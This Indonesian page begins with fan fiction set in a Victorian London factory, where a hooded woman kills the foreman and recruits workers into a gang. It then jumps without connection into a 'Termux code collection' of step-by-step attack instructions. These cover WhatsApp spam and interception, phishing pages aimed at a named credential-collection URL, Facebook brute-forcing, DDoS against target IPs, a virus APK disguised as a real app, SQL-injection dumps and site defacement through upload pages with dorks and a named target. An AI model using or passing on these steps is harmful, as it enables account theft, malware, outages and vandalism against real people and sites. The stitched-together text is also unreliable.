Waktu berubah, orang-orang tertindas, dan geng bawah tanah tertentu telah mengambil tindakan sendiri untuk menjawab panggilan London.
Di luar tembok pabrik di Southwark, matahari mulai turun di balik cakrawala; udara malam yang dingin menyeruak bagi mereka yang masih berada di luar dan di jalanan. Tetapi bagi mereka yang berada di pabrik, suhunya tidak kurang dari lembab dan tidak nyaman. Para pekerja yang menjauhkan diri dengan tugas-tugas mereka telah berada di sana selama berjam-jam, sakit tubuh dan semangat patah, namun masih putus asa untuk berpegang teguh pada gaji kecil yang bisa mereka dapatkan.
Di antara mereka adalah seorang pemuda tertentu, otot-otot yang dibangun secara mendalam oleh kemampuan mudanya untuk menyelesaikan tugas-tugasnya dan orang-orang di sekitar yang membutuhkan bantuan. Dia telah berkeringat, mengakibatkan beberapa kancing pertama kemejanya terlepas untuk memberikan semacam udara ke kulitnya. Rambutnya sulit dirawat sendiri, helaiannya selalu jatuh di dahinya dan menghalangi pandangannya dengan menjengkelkan, jadi dia menjaganya tetap rapi dengan bantuan topi tukang korannya. "Oi Yakub!"
Panggilan namanya telah mengalihkan perhatiannya sejenak, tangan mencengkeram sapu saat dia melihat seorang pekerja yang lebih tua mendekatinya dengan hati-hati. Alisnya terangkat.
"Ada apa, Tomy?" Mengambil posisi yang tepat dengan bersandar pada siku dan tangan di pinggangnya, dia berdiri menunggu pria itu meludahkan apa pun yang ada di lidahnya. Tommy menunjuk ke belakangnya dan tatapan Jacob mengikuti.
“Charlie kecil sepertinya lelah, ya. Anak malang itu hampir tidak bisa membuka matanya.” Penyebutan anak laki-laki itu membuat alis Jacob berkerut, mata mereka tertuju untuk menyaksikan anak itu berjuang untuk mengambil keranjang dari sudut. Tommy tidak berbicara banyak, kaki anak laki-laki itu lemah saat dia berjuang untuk memikul berat badannya sendiri, dan wajahnya memerah karena kelelahan bekerja lebih dari setengah hari. "Apakah kamu pikir kamu bisa 'membantu? Aku tahu itu merepotkan.
Dia terganggu, Jacob mengangkat tangan dan senyum cepat meyakinkan, “Tidak repot.” Pria yang lebih tua menghela napas lega, tangannya saling bergesekan dengan penuh tekanan saat garis-garis di wajahnya mengukir senyum untuk ditiru.
"Terima kasih. Aku tidak tahu apa yang akan kami lakukan tanpamu.” Pikiran diberikan sejenak untuk berlama-lama pada konsekuensi dari mereka jika Jacob tidak ada di sana untuk membantu mereka. Itu mustahil, dan paling tidak diinginkan.
Sapu itu disandarkan di dinding, dia menemukannya, terlupakan saat Jacob berjalan cepat untuk membantu anak laki-laki itu. Langkahnya cepat, tapi tidak cukup cepat saat lutut Charlie menyerah dan dia jatuh ke lantai. Mata Jacob melebar saat dia datang dengannya, tangan di bahunya. "Apakah kamu baik-baik saja, Charlie?" Bocah laki-laki itu hanya bisa mengangguk dan menyeka sikunya dari bawah hidungnya, seolah menahan air mata.
“Saya hanya lelah, Tuan.” Seperti yang diharapkan.
“Jacob,” koreksinya, aku tidak menyukai gelar dari seorang anak laki-laki yang cukup dikenalnya, “dan jangan khawatir. Pergi beristirahatlah, dan aku akan mengurus ini. ” Mata Charlie berbinar lega, hanya menawarkan anggukan penuh semangat. Tapi sebelum keduanya bisa bergerak, mereka telah dipanggil. Dan tidak ramah sedikit pun.
"Kalian berdua!" Sepasang Blighter telah menangkap para pekerja yang berlama-lama, yang berarti sekarang konfrontasi sudah dekat. "Apa yang kamu pikir dan yang kamu lakukan?" Secara impulsif, Jacob berdiri dengan alis berkerut, lengannya terentang ke anak laki-laki di belakangnya saat dia bertindak sebagai penghalang.
“Saya yang membuat kesalahan, bukan anak itu. Aku akan memperbaiki-” ucap Jacob.
"Hentikan ocehanmu, Nak!" Jacob didorong mundur, pijakannya menahan kejatuhannya dengan mudah saat dia menyipitkan matanya ke arah para penjaga. “Apa yang saya lihat adalah dua pemalas! Dan kau tau apa yang terjadi pada pemalas?” Orang kasar yang berdiri di belakang si penuduh menyeringai jahat, buku-buku jarinya retak saat dia maju. Sedikit kepanikan muncul dalam diri Jacob saat dia sekali lagi menempatkan dirinya di antara Charlie dan bahaya.
“Saya akan menerima hukuman, apa pun itu. Biarkan saja anak itu pergi.” Sebuah tawa belaka datang sebagai tanggapannya saat keduanya menuju ke arah mereka.
"Bos menyuruh kami untuk meronta-ronta dan memarahi mereka yang duduk diam." Seperti yang akan dia lakukan, mengingat pria itu adalah mandor yang paling tidak berbelas kasih yang pernah ditemui Jacob. Satu-satunya perhatiannya adalah dirinya sendiri dan segala sesuatu yang dia refleksikan. Pemukulan yang dilakukan bukanlah hal yang tidak biasa di sini, namun tampaknya tak seorang pun menyesuaikan diri dengan perlakuan buruk tersebut atau menjadi cukup berani untuk menghentikan mereka.
Adegan itu membuat banyak mata menoleh, beberapa berhenti untuk menyaksikan kengerian Blighters. Meskipun tidak ada yang pindah. Sebagian besar telah mengucapkan beberapa kata berani sebelumnya, tetapi tidak ada yang drastis untuk membuat perubahan. Mereka semua tau tempat mereka, sama tidak nyamannya dengan kenyataan itu. Dan sebenarnya, jika kamu ingin makan, kamu melakukan apa yang diperintahkan dan mengambil apa yang diberikan kepadamu.
Jacob mundur beberapa langkah, menjaga Charlie tetap tersembunyi di belakangnya saat dia melakukan yang terbaik untuk tampil berani. Jika ada yang punya kesempatan untuk membalas serangan dan memasok serangan mereka sendiri, itu adalah Jacob. Tapi itu bukan berarti akan menjadi kurang brutal.
Mereka mendekat, hampir menyudutkan pria itu saat bocah itu tidak melakukan apa-apa selain merintih di belakangnya; secara keseluruhan, mereka merasa tidak berdaya. Tapi… sepertinya takdir punya rencana lain.
"Aku akan memukulmu begitu keras."
Keributan tiba-tiba terdengar dari atas, menenangkan Blighter saat mereka menyaksikan teriakan dan benturan di puncak pabrik. Kedengarannya tidak terlalu menjanjikan, terutama ketika tidak ada yang tau teriakan siapa mereka dan mengapa mereka tiba-tiba seperti itu. Kemudian, sesosok tubuh jatuh ke lantai bawah, semua orang terengah-engah ketakutan saat terbaring lemas dan tak bernyawa untuk dilihat semua orang.
Jacob mengedipkan mata dengan deras, melirik kembali ke Charlie sebelum membiarkan dirinya mengenali dengan tepat siapa yang terbaring mati di hadapannya.
mandor. Tenggorokannya terus mengeluarkan darah serta dua bekas tusukan di dadanya. Pemandangan yang sebagian besar mungkin dan memang terasa pingsan. Jadi, kepanikan dipastikan ketika para pekerja melepaskan tugas mereka dengan mudah dan membuka jalan untuk melarikan diri. Charlie adalah salah satu orang yang terjebak dalam kerumunan, namun kaki Jacob tertanam kuat di tanah. Itu adalah pemandangan yang mengerikan, ya, tapi anehnya dia juga penasaran dengan apa yang sedang terjadi.
“Oh sial!” Bergumam kasar, melihat ke patnernya sebelum ragu-ragu berjalan ke tubuh. Padahal dia belum jauh ketika sesosok tubuh tiba-tiba jatuh dilakukan di sebelah pria itu. Mereka telah ditutupi jubah dari ujung kepala hingga ujung kaki, identitas mereka disembunyikan dengan tudung meskipun sabuk bertopeng senjata telah dipajang untuk dilihat semua orang.
Benjolan tersangkut di tenggorokan Jacob saat dia dan beberapa orang lain yang masih tersisa dengan cepat menyatukan bahwa siapa pun yang berada di bawah jubah itu telah menjadi penyebab kematian mandor. Dan memang benar, merenungkan perilaku yang menyebabkan pria itu menuju kematiannya sendiri.
"Siapa kamu? Apa yang telah kamu lakukan?" Sosok itu berdiri tegak, berbalik menghadap apa yang tampak sebagai Blighter terakhir yang tersisa di pabrik. Itu sunyi, terlalu sunyi, dan itu telah mengirimkan rasa dingin yang mengerikan melalui duri mereka.
"Nah, itu bukan cara yang sopan untuk berbicara, kan?" itu suara perempuan, gagasan yang mengejutkan. Tapi tetap saja sombong, sikap tenang seseorang yang baru saja membunuh orang lain sangat menakutkan. Dan tawa keringnya setelah itu membuat kedua Blighter mundur dengan ragu-ragu. "Pria ini sudah mati," dia menunjuk ke tubuh, memungkinkan Jacob untuk melihat pisau berkilau yang menempel di lengannya. Dia kembali menelan ludah dengan kasar.
"Kamu orang mati..!!!!!". Blighter yang lebih pendek telah kembali marah karena orang asing itu hanya menemukan humor dalam kematian bosnya. Dia menarik pisau dari sakunya dan menyerang wanita itu, semua tubuh tegang saat mereka menunggu bentrokan. Meskipun dia dengan mudah menghindari ayunannya, kecepatannya sempurna saat dia memutar lengan yang sama yang dimaksudkan untuk melukai di belakang punggungnya. Sebuah retakan telah terdengar, Blighter berteriak kesakitan saat dia mengambil pedangnya sendiri dan menghabisinya dengan itu.
Tidak ada keringat yang pecah, begitu pula semangatnya. Seolah-olah dia hanya berjalan-jalan di taman dengan waktu tak terbatas di tangannya. Serangan berikutnya, melawan perlawanan saat dia juga mengambil alih. Pukulannya keras, pria itu tidak membangun apa-apa selain otot dan tinggi badan semata. Yang membuat titik lemahnya terbuka, sesuatu yang dia manfaatkan.
Sebuah slip antara kakinya dan tendangan ke bagian belakang kakinya membawanya berlutut. Dia mengayunkannya dengan kuat, meskipun usahanya sia-sia saat dia menggunakan keunggulan tinggi badannya untuk memasukkan pedang yang sama di pergelangan tangannya ke lehernya.
Darah mengalir dan merembes saat dia terbaring lemas di dalamnya, semua mengancam seolah menghilang seperti sekarang berdiri para pekerja dan orang asing yang berbahaya. Dia melihat sekeliling, meluangkan waktu sejenak untuk memastikan bahwa pabrik telah sepenuhnya dimusnahkan dari semua Blighter sebelum membunyikan peluit besar. Itu adalah panggilan, dan segera, seolah menunggu sinyal, segelintir Benteng telah melangkah ke dalam gedung dan segera mengajukan klaim.
"Apa .....". Jacob tidak dapat memahami apa yang terjadi, atau bagaimana hal itu sebenarnya telah dilakukan. Siapa orang asing itu? Mengapa harus repot-repot mencari pabrik di Southwark? Mengapa dia lebih tertarik daripada takut akan itu semua?
“Rekan-rekanku!” Orang asing itu mulai mencari perlindungan di sebuah peti saat dia berdiri menjadi pusat perhatian semua orang di sekitarnya. “Saya tau kamu mungkin bingung, dan bahkan ketakutan, tetapi jangan takut! Kami di sini bukan untuk menyakitimu atau orang lain yang bukan milik geng Blighter!” Menjaga keselamatan dan kesejahteraan mereka yang takut membuat mereka rileks, tetapi tidak sepenuhnya. Tubuh mereka masih tegang dan ragu-ragu saat mereka berkumpul.
Jacob adalah orang yang mendekat, tangan disilangkan di depan dada saat dia berdiri di tengah kerumunan kecil di sekitarnya. Alisnya berkerut saat dia terus memperhatikan orang asing itu.
Dia melihat sekelilingnya, mengangguk ke Bentengnya sebelum dengan lembut menarik tudungnya ke belakang. jika jantungnya berhenti ketika dia pertama kali melihat wanita itu. Dia cantik, tidak diragukan lagi. Namun dia orang asing, berpakaian dengan apa yang masyarakat anggap tidak pantas untuk wanita. Dia sombong dan berbahaya, seringai kecil masih terukir di sudut mulutnya saat dia berbicara kepada orang-orang di sekitarnya secara terbuka. "Namaku Lily Harvard, dan ini Benteng-bentengku!" Lengan terentang lebar saat dia menunjuk ke geng berlapis hijau di sekitarnya. “Saya di sini membuat dan menawarkan semua padamu. Agar membantu kami mengalahkan Blighters di semua wilayah dan membebaskan London kembali ke rakyatnya!”
Sebuah pencarian terhormat namun sebuah permintaan besar. Dia telah mengambil pekerjaan dari mereka yang berada di bawah otoritas yang kurang peduli dengan kesehatan dan kesejahteraan para pekerjanya. Tapi tidak datang dengan tangan kosong.
“Bergabunglah dengan saya! Bergabunglah dengan Benteng!” Beberapa sudah menerima gagasan itu, beberapa Benteng lagi masuk dengan jaket cadangan untuk diberikan kepada mereka yang ingin berinvestasi tentang sesuatu, dan yang lain tidak ingin dibiarkan terdampar. “Kamu tidak harus melakukan apa pun yang tidak kamu inginkan, tetapi ingatlah bahwa kamu akan menjadi bagian dari sesuatu yang lebih besar dari dirimu sendiri! Bantu kami menghancurkan cengkeraman Crawford Starrick di kota ini, dan kami akan menyambutmu seperti keluarga!”
Bujukan itu tampaknya menghalangi beberapa orang, mereka yang pergi secara halus dari pandangan orang lain meskipun sebagian besar tetap tinggal, menyetujui persyaratan dan tercerahkan untuk dirawat dengan lebih baik dalam geng yang baru muncul ini. Jacob tidak berkomentar sepatah kata pun, matanya masih tertuju pada Lily saat dia melihat dengan gembira orang-orang di sekitarnya. Sebuah dorongan tiba-tiba menarik perhatiannya dan seorang wanita memegang jaket hijau mengulurkannya padanya. "Kamu masuklah?".
Jacob mengambil waktu sejenak, melihat dari jaket ke Benteng, ke Lily, dan kembali ke jaket. Yah… tidak mungkin lebih buruk daripada bekerja di pabrik ini dengan sedikit atau tanpa perhatian. Ditambah… penebusan untuknya dan orang-orang di sekitarnya memang terdengar menarik.
"Mengapa tidak?" The Rook menawarinya seringai gigi dan melemparkan jaket di tangannya. Pria itu menggenggam bahan itu sebelum melepaskan jaketnya sendiri dan menggantinya.
Itu adalah awal dari sesuatu yang lebih baik, dan dia tidak sabar untuk memberi tahu Evie.
SEKIAN CERITA INI. NANTIKAN DI BAGIAN KEDUA.
KUMPULAN CODE TERMUX LENGKAP
Apa alasan anda mencari code termux? Wah pasti ada something ya sama someone! hehe
Tapi tujuan anda kali ini tepat sekali karna sudah bersedia mampir di halaman Pesanlucky yang menyediakan kumpulan code termux secara lengkap. Teman-teman bisa langsung praktekin aja melalui termux baik dari PC maupun ponsel. Kalau untuk ponsel teman-teman bisa download saja aplikasi termux yang tersedia di PlayStore keluaran Fredrix fornwall.
Jika code termux berhasil anda gunakan, jangan disalah gunakan untuk menjahati seseorang. Lebih baik gunakan untuk belajar.
Jika code termux tidak berhasil digunakan, harap bersabar karna di ulasan ini admin hanya berbagi kumpulan code termux saja.
Berikut kumpulan code termux yang bisa teman-teman praktekkan secara langsung :
| SPAM CHAT WHATSAPP || nggak usah nyepam gue -_* atau hp lu gue ledakin!!#@vms
$ pkg update && pkg upgrade
Setelah mengupdate dan mengupgrade termux ketikan perintah berikut :
$ pkg install python2 (y/n pilih y)
$ pkg install php (y/n pilih y)
$ pkg install git (y/n pilih y)
Setalah mengikuti perintah di atas waktu-nya kita clonning tool-nya :
$ git clone https://github.com/siputra12/prank.git
Setelah proses cloning selesai kita move on dari perintah di atas dan ketikan perintah ini :
$ cd prank
$ ls
$ php wa.php
Kemudian masukan Nomor WhatsApp yang kalian ingin spam contoh : 082377155579 kemudian enter pada pilihan y/n pilih y
.. .welcome back to me catatan:).... #@vms
" jngan lupa subcribe pak *VEMAS DARK* -_-... (:"
"phising game"
(mobile legends dan clash of clan)
$apt update
$apt upgrade -y
$pkg install python2 -y
$pkg install apache2
$pkg install php -y
$pkg install git
$git clone https://github.com/Senitopeng/PhisingGame
$ls
$cd PhisingGame
$python2 phising.py
*Gunain dengan bijak cuk -_-*
Cara Install OSIF ( Open Source Information Facebook )
$ pkg install python2
$ git clone https://github.com/ciku370/OSIF
$ cd OSIF
$ pip2 install -r requirements.txt
Dan cara menjalankannya menggunakan perintah :
python2 osif.py
by: *Vdk*
*~CARA SADAP WA~*
*_SeNaNg-SeNaNg H4CK1NG MR.STAH_*
$pkg update && pkg upgrade
$pkg install git
$pkg install curl
$git clone https://github.com/AndriGanz/whatshack
$cd whatshack
$ls
$sh whatshack.sh
*~Jangan salah gunakan~*
Tutorial termux
Silahkan perdalami...
D-tect tool
Cara Install D-tect tool di android termux (command ) :
$ apt install git
$ apt install python2
$ git clone https://github.com/shawarkhanethicalhacker/D-TECT
$ ls
$ cd D-TECH
$ chmod +x d-tect.py
$ python2 d-tect.py
2. cara uninstall tool termux
rm -rf toolsnya
3. cara buat virus
cd /sdcard
cd vbug
ls
chmod vbug.py
chmod -v vbug.py
python2 vbug.py
4. irssi
/connet irc.freenode.net
/nick w3wandroid
/join #modol
_________________________
DDOS via Termux
————————————
1. Hammer
$ pkg update (tekan enter)
$ pkg upgrade (tekan enter)
$ pkg install python (tekan enter)
$ pkg install git (tekan enter)
$ git clone https://github.com/cyweb/hammer (tekan enter)
$ cd hammer (tekan enter)
$ python hammer.py (tekan enter)
$ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125
2. Xerxes
$ apt install git
$ apt install clang
$ git clone https://github.com/zanyarjamal/xerxes
$ ls
$ cd xerxes
$ ls
$ clang xerxes.c -o xerxes
$ ls
$ ./xerxes (nama website) 80
3. Torshammer
$ pkg update
$ pkg install git
$ apt install tor
$ pkg install python2
$ git clone https://github.com/dotfighter/torshammer.git
$ ls
$ cd torshammer
$ python2 torshammer.py
4. liteDDOS
$ apt update
$ apt upgrade
$ pkg install git
$ pkg install python2
$ git clone https://github.com/4L13199/LITEDDOS
$ cd LITEDDOS
$ python2 liteDDOS.py
_________________________________________
Bermain moon-buggy
$ pkg install moon-buggy
$ moon-buggy
________________________________________
Musikan di termux
$ pkg install mpv
$ mpv/sdcard/lagu.mp3
/sdcard/ bisa di ganti sesuai letak musik
________________________________________
Browsing di termux
$ pkg install w3m
$ w3m www.google.com
Linknya bsa diubah
________________________________________
Telephone di termux
$ pkg install termux-api
$ termux-telephony-call nomornya
_______________________________________
Menampilkan animasi kereta
$ pkg install sl
$ sl
_______________________________________
menampilkan ikon dan informasi sistem android
$ pkg install neofetch
$ neofetch
_______________________________________
menampilkan teks dalam format ASCII
$ pkg install figlet
$ figlet masukin teksnya
_______________________________________
Cara Mendengarkan Yotuube di termux
$ pip install mps_youtube
$ pip install youtube_dl
$ apt install mpv
$ mpsyt
$ /judul lagu
Tinggal pilih lagu dgn mengetik nomornya.
Tutorial membuat virus seperti aplikasi aslinya
Tools yang dibutuhkan: APK Editor & tool vbug
APK Editor bisa didownload di playstore
Tool vbug Here
1. Download tool vbugnya dulu
2. Taruh file tool vbug di luar folder pada memori internal
3. Buka termux lalu $ cd /sdcard
4. $ unzip vbug.zip
5. $ cd vbug
6. $ python2 vbug.py
7. Enter
8. Ketik 10
9. Ketik E
10. Aplikasi virusnya sudah jadi
Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya
1. Buka APK Editor
2. Klik Select an Apk File
3. Pilih aplikasi virus tadi
4. Klik full edit
5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan
6. Lalu klik files
7. Klik res/drawable
8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan
Catatan: format logo harus .png
9. Ceklist logo yang kedua lalu replace
10. Pilih file logo yang mau dijadikan logo aplikasi agan
11. Back sampai home
Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita
12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan
13. Klik build
14. Tunggu hingga selesai
15. Jadi deh
————————
Auto boot fb
git clone https://github.com/Senitopeng/BotFbBangDjon.git
cd BotFbBangDjon
python2 bangdjon.py
melihat id fb
Autoreaction Facebook
git clone https://github.com/tomiashari/fb-autoreaction.git
cd fb-autoreaction
python2 fb-autoreaction
•TOOLS²TERMUX.P3
21.TOOLS SQLMAP
apt update
apt install python
apt install python2
apt install git
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
python2 sqlmap.py
=============================
22.TUTORIAL PHISING INSTAGRAM VIA TERMUX
pkg update
pkg upgrade
pkg install python2
pkg install git
clear
git clone https://github.com/evait-secutiry/weeman.git
cd
ls
cd weeman
python2 weeman.py
show
set url http://dewopanel.host22.com/masuk.php
set port 8080
set action_url http://dewopanel.host22.com/masuk.php
run
=============================
23.TUTORIAL MENAMBAH FOLLOWERS&LIKE INSTAGRAM
Kegunaan untuk menambah follower dan like ig
pkg update
pkg upgrade
pkg install python2
pkg install ruby
gem install lolcat
pkg install git
git clone https://github.com/Hanzelnutt/instabot
cd instabot
ls
pip2 install -r requirements.txt
bash instabot
=============================
24.TUTOR HACK WIFI KHUSUS ROOT
apt update
apt upgrade
apt install git
git clone https://github.com/esc0rtd3w/wifi-hacker
ls
cd wifi-hacker
ls
chmod +x wifi-hacker.sh
ls
=============================
25.TOOLS xNOT_FOUND *VER1*
apt update && apt upgrade
pkg install git
pkg install gem
pkg install figlet
gem install lolcat
git clone https://github.com/hatakecnk/xNot_Found
cd xNot_Found
sh xNot_Found.sh
=============================
26.HACK FB
Nih ada tutor buat lewat TERMUX buat hack FB
apt update && apt upgrade
apt install python
apt install python2
apt install ruby
apt install git
apt install wget
apt install curl
pip2 install mechanize
pip2 install requests
git clone https://github.com/hnov7/mbf
*tunggu hingga selesai,jika sudah selesai
*silahkan buka tab baru atau new session lalu ketik :
cd mbf
python2 mbf.py
=============================
27.HACK GMAIL
apt-get update && apt-get upgrade
apt-get install git
apt-get install python python-pip python-setuptools
pip install scapy
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher<
python setup.py install
cd wifiphisher
python wifiphisher
=============================
28.BERMAIN MOON-BUGGY
pkg install moon-buggy
moon-buggy
=============================
29.PERKIRAAN CUACA
curl http://wttr.in/ (lokasi)
=============================
30.BROWSING DI TERMUX
pkg install w3m
w3m www.google.com
Linknya bsa diubah
=============================
[8/10 19.49] Yovis Si Wibub: Apt update
Apt upgrade
Apt install mechanize
Apt install git
git clone http://github.com/hnov7/mbf
cd mbf
python2 mbf. py
Mbf tanpa username dan password. Jdi tinggl make aja
[8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade
$ pkg install python2
$ pip2 install mechanize
$ git clone https://github.com/pirmansx/mbf
Cara Menjalankannya :
$ ls
$ cd mbf
$ python2 MBF.py
[9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux
$ pkg update && pkg upgrade
$ pkg install ruby cowsay toilet figlet
$ pkg install neofetch
$ pkg install nano
$ gem install lolcat
$ cd ../usr/etc
$ nano bash.bashrc
cowsay -f eyes Cyber | lolcat
toilet -f standard Indonesia -F gay
neofetch
date | lolcat
✓
Hack FB rombongan
$ apt update && apt upgrade
$ pkg install python2 git
$ pip2 install mechanize
$ git clone http://github.com/pirmansx/mbf
$ ls
$ cd mbf
$ python2 MBF.py
✓
Hack FB ngincer
$ Apt update ( Enter )
$ Apt upgrade ( Enter )
$ Apt install python2 ( Enter )
$ pip2 install urllib3 chardet certifi idna requests ( Enter )
$ apt install openssl curl ( Enter )
$ pkg install libcurl ( Enter )
$ ln /sdcard ( Enter )
$ cd /sdcard ( Enter )
$ python2 fbbrute.py ( Enter )
✓
Hack Gmail
apt-get update && apt-get upgrade
$ apt-get install git
$ apt-get install python python-pip python-setuptools
$ pip install scapy
$ git clone https://github.com/wifiphisher/wifiphisher.git
$ cd wifiphisher<
$ python setup.py install
$ cd wifiphisher
$ python wifiphisher
Nih yang mau hack WiFi Khusus root
$apt update
$apt upgrade
$apt install git
$git clone https://github.com/esc0rtd3w/wifi-hacker
$ls
$cd
Ni KUMPULAN TUTOR TERMUX [X SCREW UP X]
*HACK INSTAGRAM*
( sosial engineering)
$ apt update && apt upgrade
$ pkg install python
$ pkg install git
$ pkg install nano
$ git clone https://github.com/avramit/instahack.git
$ ls
$ cd instahack
$ ls
$ pip install requests
$ cd instahack
$ nano pass.txt
$ cat pass.txt
$ ls
$ python hackinsta.py
Localizar ip
Apt install python git
git clone https://github.com/maldevel/IPGeoLocation.git
cd IPGeoLocation
chmod +x ipgeoLocation.py
pip install -r requirements.txt
python ipgeolocation.py -m
python ipgeolocation.py -t http://www.google.com
Lacak IP
git clone https://github.com/maldevel/IPGeolocation
cd IPGeolocation
chmod +x ipgeolocation.py
pip install -r requirements.txt
python ipgeolocation.py -m
python ipgeolocation.py -t IP yang ingin dilacak
TOOL DDOS VIA TERMUX
1. Hammer
$ pkg update (tekan enter)
$ pkg upgrade (tekan enter)
$ pkg install python (tekan enter)
$ pkg install git (tekan enter)
$ git clone https://github.com/cyweb/hammer (tekan enter)
$ cd hammer (tekan enter)
$ python hammer.py (tekan enter)
$ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter)
2. Xerxes
$ apt install git
$ apt install clang
$ git clone https://github.com/zanyarjamal/xerxes
$ ls
$ cd xerxes
$ ls
$ clang xerxes.c -o xerxes
$ ls
$ ./xerxes (nama website) 80
3. Torshammer
$ pkg update
$ pkg install git
$ apt install tor
$ pkg install python2
$ git clone https://github.com/dotfighter/torshammer.git
$ ls
$ cd torshammer
$ python2 torshammer.py
4. liteDDOS
$ apt update
$ apt upgrade
$ pkg install git
$ pkg install python2
$ git clone https://github.com/4L13199/LITEDDOS
$ cd LITEDDOS
$ python2 liteDDOS.py
RED_HAWK tool
$ apt update
$ apt install git
$ git clone https://github.com/Tuhinshubhra/RED_HAWK
$ cd RED_HAWK
$ chmod +x rhawk.php
$ apt install php
$ ls
$ php rhawk.php
```Install webdav ```
$ apt update && upgrade
$ apt install python2
$ pip2 install urllib3 chardet certifi idna requests
$ apt install openssl curl
$ pkg install libcurl
$ ln -s /sdcard
$ cd sdcard
$ mkdir webdav
$ cd webdav
Tutorial Install
*Tools-B4J1N64Nv5*
pkg install update
pkg install git
pkg install toilet
pkg install figlet
pip2 install lolcat
git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5
cd B4J1N64Nv5
sh B4J1N64N.sh
cara install termux ubuntu
- apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh
Cara install github tembak XL
Dari awal
1.pkg upgrade
2.pkg update
3.pkg install git
4.pkg install python
5.git clone https://github.com/albertoanggi/xl-py
6.pip install -r requirements.txt
7.chmod +x app.py
8.python/python2 app.py
*Install admin finder in termux*
$ apt update && apt upgrade
$ pkg install python2
$ pkg install git
$ git clone https://github.com/AdheBolo/AdminFinder
*Menjalankan*
$ ls
$ cd AdminFinder
$ chmod 777 AdminFinder.py
$ python2 AdminFinder.py
*Cara install tool Mr.Rv1.1*
$apt update && apt upgrade
$pkg install git
$pkg install gem
$pkg install figlet
$gem install lolcat
$git clone https://github.com/Mr-R225/Mr.Rv1.1
$cd Mr.Rv1.1
$sh Mr.Rv1.1.sh
tool install
$ apt update && apt upgrade
$ apt install git
$ git clone https://github.com/aryanrtm/4wsectools
cd 4wsectools
chmod 777 tools
./tools
TOOL FSOCIETY
$ git clone https://github.com/manisso/fsociety
$ cd fsociety
$ ./install.sh
$ ls
$ python2 fsociety.py
SQLMAP
apt update
apt install python
apt install python2
apt install git
git clone https://github.com/sqlmapproject/sqlmap
https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
Python2 sqlmap.py
Exemplo
Python2 sqlmap.py -u website –dbs
-D acuart –tables
-D acuart -T users –columns
-D acuart -T users -C name,email,phone -dump
BUSCA PAINEL ADM DE SITE
pkg install git
git clone https://github.com/Techzindia/admin_penal
cd admin_penal
chmod +x admin_panel_finder.py
python2 admin_panel_finder.py
HAKKU
apt install pytho
apt install git
mkdir vasu
git clone https://github.com/4shadoww/hakkuframework
cd hakkuframework
chmod +x hakku
python hakku
show modules
use whois
show options
set target examplesite.com
run
TOOL D-TECT
apt update
apt install git
git clone https://github.com/shawarkhanethicalhacker/D-TECT
cd D-TECT
apt install python2
chmod +x d-tect.py
python2 d-tect.py
viSQL
apt update
apt install python2
apt install git
git clone https://github.com/blackvkng/viSQL
cd viSQL
python2 -m pip install -r requirements.txt
python2 viSQL.py
python2 viSQL.py -t http://www.bible-history.com
Hash Buster
apt update
apt upgrade
apt install python2
apt install git
git clone https://github.com/UltimateHackers/Hash-Buster
cd Hash-Buster
python2 hash.py
tool ubuntu
$ apt update
$ apt install git
$ apt install wget
$ apt install proot
$ git clone https://github.com/Neo-Oli/termux-ubu…
$ cd termux-ubuntu
$ chmod +x ubuntu.sh
$ ./ubuntu.sh
$ ./start.sh
(````Install``` *Hunner framework*)
$ apt update
$ apt install python
$ apt install git -y
$ git clone https://github.com/b3-v3r/Hunner
$ cd Hunner
$ chmod 777 hunner.py
$ python hunner.py
*Cara Install Lazymux di Termux*
$ pkg update && upgrade
$ pkg install python2
$ pkg install git
$ git clone https://github.com/Gameye98/Lazymux
$ cd Lazymux
$ chmod +x lazymux.py
$ python2 lazymux.py
Cara install tools daijobu*
Fungsinya nanti liat sendiri lah di dalem tools nya
$apt upgrade && apt update
$apt install php
$apt install git
Kalo udah selesai langsung masukan git nya dengan perintah
$git clone https://github.com/alintamvanz/diejoubu
$cd diejoubu
$cd v1.2
$php diejoubu.php
Hecker RECONDOG
apt update
apt install python python2
apt install git
git clone https://github.com/UltimateHackers/ReconDog
cd ReconDog
chmod +x dog.py
Python2 dog.py
DEFACE
Hacking Script-Deface
$apt update
$apt upgrade
$apt install git
$apt install python2
$git clone https://github.com/Ubaii/script-deface-creator
$ls
$cd script-deface-creator
$ls
$chmod +x create.py
$ls
$python2 create.py
done semoga bisa bikin script Html
CARA DEFACE
Cara1
Siapkan script sendiri..
1.buka browser kalian apa saja terserah lalu ke google
2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search
3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx
4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian
5.klik yang di bawah nya tunggu sampai loading selesai
6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search
7.selesai!!
Cara2
Method/metode KCFinder
Inurl:/kcfinder/browse.php
Inurl:/Kcfinder/
Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html
Contoh:
https://basukiwater.com/kcfinder/browse.php
jadi
https://basukiwater.com/file/namasckamu.html
cara3
Deface Onion.to File Upload
Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut...
